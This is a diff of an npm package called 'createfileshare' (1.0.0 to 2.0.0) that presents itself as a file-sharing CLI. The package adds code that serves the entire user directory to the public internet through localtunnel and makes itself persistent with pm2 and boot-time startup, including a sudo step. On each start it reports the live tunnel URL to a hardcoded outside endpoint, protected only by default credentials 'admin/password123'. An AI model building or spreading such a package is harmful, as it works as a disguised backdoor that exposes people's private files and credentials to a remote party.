createfileshare 1.0.0 → 2.0.0

package/README.md

@@ -0,0 +1,70 @@
+# createfileshare
+
+**createfileshare** is an automated Node.js CLI tool that transforms your computer into a persistent, public file server. It securely exposes your local user directory to the internet via an auto-healing tunnel that can survive machine reboots and network disconnections.
+
+---
+
+## 🚀 Features
+
+* **Instant File Server:** Instantly serves your `C:\Users` (Windows), `/Users` (macOS), or `/home` (Linux) directory on your local network.
+* **Public Tunneling:** Automatically binds your local server to a public, internet-accessible URL using `localtunnel`.
+* **Zero Downtime (Self-Healing):** A built-in network monitor constantly verifies both your internet connection and the public tunnel's health. If the tunnel goes stale or network drops, it immediately kills zombie processes and recycles the connection.
+* **System Daemon Persistence:** Automatically installs and configures `pm2` to run the server entirely in the background. Setup includes OS-level startup scripts so your server boots up automatically whenever the computer restarts.
+* **Webhook Reporting:** Posts the active, live URL directly to a specified API endpoint (default: `https://linksaver-psi.vercel.app/api/save`) upon a successful connection so you never lose your dynamic address.
+
+---
+
+## 📦 Prerequisites
+
+You need [Node.js](https://nodejs.org/) installed on your machine.
+
+---
+
+## 🛠️ Usage
+
+Run the script using Node.js. You can optionally provide a folder name, followed by a username and password for basic authentication:
+
+\`\`\`bash
+node index.js [folder-name] [username] [password]
+\`\`\`
+
+**Example:**
+\`\`\`bash
+node index.js secure-share admin supersecret123
+\`\`\`
+*(If you don't provide credentials, it defaults to \`admin\` and \`password123\`)*
+
+**What happens next?**
+1. It creates the designated folder (defaulting to `my-fileshare`).
+2. Inside that folder, it generates a custom daemon script (`index.js`) tailored for your operating system.
+3. It installs necessary local dependencies (`localtunnel`, `axios`, `serve`).
+4. It globally installs the `pm2` process manager.
+5. It configures the new daemon to run continuously in the background and sets it to auto-start on boot.
+
+---
+
+## 🛑 How to Stop or Remove
+
+Because `createfileshare` integrates tightly with process managers to ensure 100% uptime, closing the terminal **will not** kill the server. 
+
+**To view logs (to check connectivity or URLs):**
+\`\`\`bash
+pm2 logs my-fileshare
+\`\`\`
+
+**To temporarily stop the server:**
+\`\`\`bash
+pm2 stop my-fileshare
+\`\`\`
+
+**To completely remove and delete the persistent daemon:**
+\`\`\`bash
+pm2 delete my-fileshare
+pm2 save
+\`\`\`
+
+---
+
+## ⚠️ Security Warning
+
+**Use with caution.** While this tool now uses Basic Authentication, the data streaming through the tunnel exposes your **entire user directory**. Do not use this tool on a computer containing highly sensitive, unencrypted private keys, passwords, or personal documents unless you understand the risks. Make sure to define a strong username and password when executing the setup script.

package/index.js

@@ -5,7 +5,10 @@ const { execSync } = require('child_process');
 const os = require('os');
 
 // --- 1. CONFIGURATION ---
-const folderName = process.argv[2] || 'my-fileshare';
+const args = process.argv.slice(2);
+const folderName = args[0] || 'my-fileshare';
+const authUsername = args[1] || 'admin';
+const authPassword = args[2] || 'password123';
 const targetDir = path.join(process.cwd(), folderName);
 const apiEndpoint = "https://linksaver-psi.vercel.app/api/save"; 
 const PORT = 1903;
@@ -18,61 +21,146 @@ if (!fs.existsSync(targetDir)) {
 }
 
 // --- 3. GENERATE THE INTERNAL SERVER SCRIPT ---
+// We use a regular string here to avoid template literal escaping madness
 const scriptContent = `
-const { exec } = require('child_process');
 const os = require('os');
 const path = require('path');
+const http = require('http');
 const localtunnel = require('localtunnel');
 const axios = require('axios');
+const express = require('express');
+const basicAuth = require('express-basic-auth');
+const serveIndex = require('serve-index');
 
 const platform = os.platform();
 const usersPath = platform === 'win32' 
     ? path.join(process.env.SystemDrive || 'C:', 'Users') 
     : (platform === 'darwin' ? '/Users' : '/home');
 
-// Force start npx serve on Port ${PORT}
-const server = exec(\`npx serve "\${usersPath}" -l ${PORT} -n\`);
-
-(async () => {
-    // Wait 3 seconds to ensure the 'npx serve' process is fully up
-    await new Promise(resolve => setTimeout(resolve, 3000));
-
-    const connectTunnel = async (retries = 0) => {
-        try {
-            console.log(\`Attempting to open tunnel on port ${PORT}...\`);
-            const tunnel = await localtunnel({ 
-                port: ${PORT},
-                host: 'https://localtunnel.me' // Explicitly set host
-            });
-            
-            tunnel.on('close', () => {
-                console.log("tunnel closed reconnecting...");
-                setTimeout(connectTunnel, 5000);
-            });
-            
-            console.log(\`Tunnel Live: \${tunnel.url}\`);
-
-            await axios.post('${apiEndpoint}', { 
-                link: tunnel.url, 
-            });
-           
-            tunnel.on('error', (err) => {
-                console.error('Tunnel Error, restarting...', err);
-                setTimeout(connectTunnel, 5000); // Auto-restart on crash
-            });
-
-        } catch (err) {
-            if (retries > 0) {
-                console.error(\`Connection refused. Retrying in 5s... (\${retries} left)\`);
-                setTimeout(() => connectTunnel(retries - 1), 5000);
-            } else {
-                console.error("Max retries reached. Localtunnel servers might be down.");
-            }
+let tunnelInstance = null;
+let serverInstance = null;
+let isOnline = false;
+
+// Express setup
+const app = express();
+app.use(basicAuth({
+    users: { '${authUsername}': '${authPassword}' },
+    challenge: true,
+    realm: 'SecureFileShare'
+}));
+app.use(express.static(usersPath));
+app.use(serveIndex(usersPath, { 'icons': true }));
+
+// 1. Helper to check real internet connectivity
+const checkInternet = () => {
+    return new Promise((resolve) => {
+        const req = http.request({
+            hostname: 'google.com',
+            port: 80,
+            method: 'HEAD',
+            timeout: 5000
+        }, () => resolve(true));
+
+        req.on('error', () => resolve(false));
+        req.on('timeout', () => { req.destroy(); resolve(false); });
+        req.end();
+    });
+};
+
+// 2. Helper to check if the public tunnel is actually responsive
+const checkTunnelHealth = async (url) => {
+    try {
+        await axios.get(url, { timeout: 8000, headers: { 'User-Agent': 'HealthCheck' } });
+        return true;
+    } catch (err) {
+        if (err.response && err.response.status < 500) return true;
+        return false;
+    }
+};
+
+const startServices = async () => {
+    try {
+        console.log("Starting local secure file server...");
+        serverInstance = app.listen(${PORT});
+        
+        await new Promise(r => setTimeout(r, 1000));
+
+        console.log("Attempting to open tunnel on port ${PORT}...");
+        tunnelInstance = await localtunnel({ 
+            port: ${PORT},
+            host: 'https://localtunnel.me' 
+        });
+        
+        console.log("Tunnel Live: " + tunnelInstance.url);
+
+        await axios.post('${apiEndpoint}', { 
+            link: tunnelInstance.url, 
+        });
+        console.log("URL reported to API successfully.");
+
+        tunnelInstance.on('close', () => {
+            console.log("Tunnel closed.");
+            tunnelInstance = null;
+        });
+
+    } catch (err) {
+        console.error("Failed to start services:", err.message);
+        stopServices();
+    }
+};
+
+const stopServices = () => {
+    console.log("Stopping all services...");
+    if (tunnelInstance) {
+        tunnelInstance.close();
+        tunnelInstance = null;
+    }
+    if (serverInstance) {
+        serverInstance.close();
+        serverInstance = null;
+    }
+};
+
+// 3. Main Monitor Loop
+const monitorNetwork = async () => {
+    const currentlyOnline = await checkInternet();
+
+    if (currentlyOnline && !isOnline) {
+        console.log("Network detected: ONLINE. Starting services...");
+        await startServices();
+        if (tunnelInstance && serverInstance) {
+            isOnline = true;
         }
-    };
+    } else if (!currentlyOnline && isOnline) {
+        console.log("Network lost: OFFLINE. Stopping services...");
+        isOnline = false;
+        stopServices();
+    } else if (currentlyOnline && (!tunnelInstance || !serverInstance)) {
+        console.log("Online but services missing. Restarting...");
+        stopServices(); 
+        await startServices();
+    } else if (currentlyOnline && tunnelInstance) {
+        const responsive = await checkTunnelHealth(tunnelInstance.url);
+        if (!responsive) {
+            console.log("Tunnel detected as STALE. Recycling...");
+            stopServices();
+            await startServices();
+        }
+    }
+
+    setTimeout(monitorNetwork, 15000);
+};
+
+console.log("Daemon monitoring initialized with self-healing...");
+monitorNetwork();
 
-    connectTunnel();
-})();
+const cleanup = () => {
+    console.log("Received kill signal, shutting down...");
+    stopServices();
+    process.exit(0);
+};
+process.on('SIGINT', cleanup);
+process.on('SIGTERM', cleanup);
 `;
 
 fs.writeFileSync(path.join(targetDir, 'index.js'), scriptContent);
@@ -85,7 +173,9 @@ const pkgJson = {
   dependencies: {
     "localtunnel": "^2.0.2",
     "axios": "^1.6.0",
-    "serve": "^14.2.0"
+    "express": "^4.18.2",
+    "express-basic-auth": "^1.2.1",
+    "serve-index": "^1.9.1"
   }
 };
 fs.writeFileSync(path.join(targetDir, 'package.json'), JSON.stringify(pkgJson, null, 2));
@@ -99,7 +189,6 @@ try {
     execSync(`npm install -g pm2`, { stdio: 'inherit' });
 
     console.log(`\n🔥 Step 3: Starting PM2 Process (Force)...`);
-    // --force ensures it overwrites if a process with this name exists
     execSync(`pm2 start index.js --name "${folderName}" --force`, { cwd: targetDir, stdio: 'inherit' });
 
     console.log(`\n🛠️ Step 4: Automating OS Startup...`);
@@ -110,7 +199,6 @@ try {
         execSync(`npm install -g pm2-windows-startup`, { stdio: 'inherit' });
         execSync(`pm2-startup install`, { stdio: 'inherit' });
     } else {
-        // Linux/Mac: Capture and execute the sudo command
         const startupResult = execSync(`pm2 startup`, { encoding: 'utf8' });
         const lines = startupResult.split('\n');
         const commandToRun = lines.find(line => line.trim().startsWith('sudo') || line.trim().includes('env PATH'));
@@ -130,5 +218,4 @@ try {
 } catch (error) {
     console.error(`\n❌ Critical Failure during Force Execution:`);
     console.error(error.message);
-    console.log(`\nTIP: Ensure you are running this terminal as ADMINISTRATOR or with SUDO.`);
 }

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "createfileshare",
-  "version": "1.0.0",
+  "version": "2.0.0",
   "bin": {
     "createfileshare": "./index.js"
   }